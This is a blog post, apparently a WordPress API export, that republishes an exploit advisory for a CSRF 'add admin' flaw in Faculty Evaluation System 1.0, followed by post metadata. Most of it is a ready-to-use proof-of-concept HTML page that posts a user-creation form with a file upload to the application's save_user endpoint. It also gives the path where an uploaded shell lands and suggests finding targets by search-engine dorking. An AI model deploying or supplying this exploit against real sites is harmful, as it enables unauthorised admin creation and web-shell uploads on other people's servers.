=============================================================================================================================================
| # Title : Faculty Evaluation System 1.0 CSRF Add Admin Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.2 (64 bits) |
| # Vendor : https:\/\/www.sourcecodester.com\/php\/14710\/faulty-evaluation-system-using-phpcodeigniter-source-code.html |
=============================================================================================================================================<\/p>\n
poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] Line 35 : Set your target.<\/p>\n[+] Save As poc.html<\/p>\n[+] Payload :<\/p>\n
<!DOCTYPE html>
<html lang=”en”>
<head>
<meta charset=”UTF-8″>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
<title>User Registration<\/title>
<\/head>
<body><\/p>\n
<h2>User Registration<\/h2>
<form id=”userForm” enctype=”multipart\/form-data”>
<label for=”email”>User Name:<\/label>
<input type=”email” id=”email” name=”email” required><br><br><\/p>\n
<label for=”password”>Password:<\/label>
<input type=”password” id=”password” name=”password” required><br><br><\/p>\n
<div class=”form-group”>
<label for=”” class=”control-label”>Avatar<\/label>
<div class=”custom-file”>
<input type=”file” class=”custom-file-input rounded-circle” id=”customFile” name=”img” onchange=”displayImg(this,$(this))”>
<label class=”custom-file-label” for=”customFile”>Choose file<\/label>
<\/div>
<\/div><\/p>\n
<input type=”button” value=”Save User” onclick=”saveUser()”>
<\/form><\/p>\n
<script>
function saveUser() {
var form = document.getElementById(‘userForm’);
var formData = new FormData(form);<\/p>\n
var xhr = new XMLHttpRequest();
xhr.open(“POST”, “http:\/\/127.0.0.1\/eval\/ajax.php?action=save_user”, true);<\/p>\n
xhr.onload = function () {
if (xhr.status === 200) {
alert(‘User saved successfully’);
} else {
alert(‘An error occurred while saving the user’);
}
};<\/p>\n
xhr.send(formData);
}
<\/script><\/p>\n
<\/body>
<\/html><\/p>\n[+] Shell Path : http:\/\/127.0.0.1\/eval\/assets\/uploads\/<\/p>\n
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"
=============================================================================================================================================| # Title : Faculty Evaluation System 1.0 CSRF Add Admin Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.2 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/php\/14710\/faulty-evaluation-system-using-phpcodeigniter-source-code.html |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] Line 35 : Set your …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59398","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59398"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59398\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}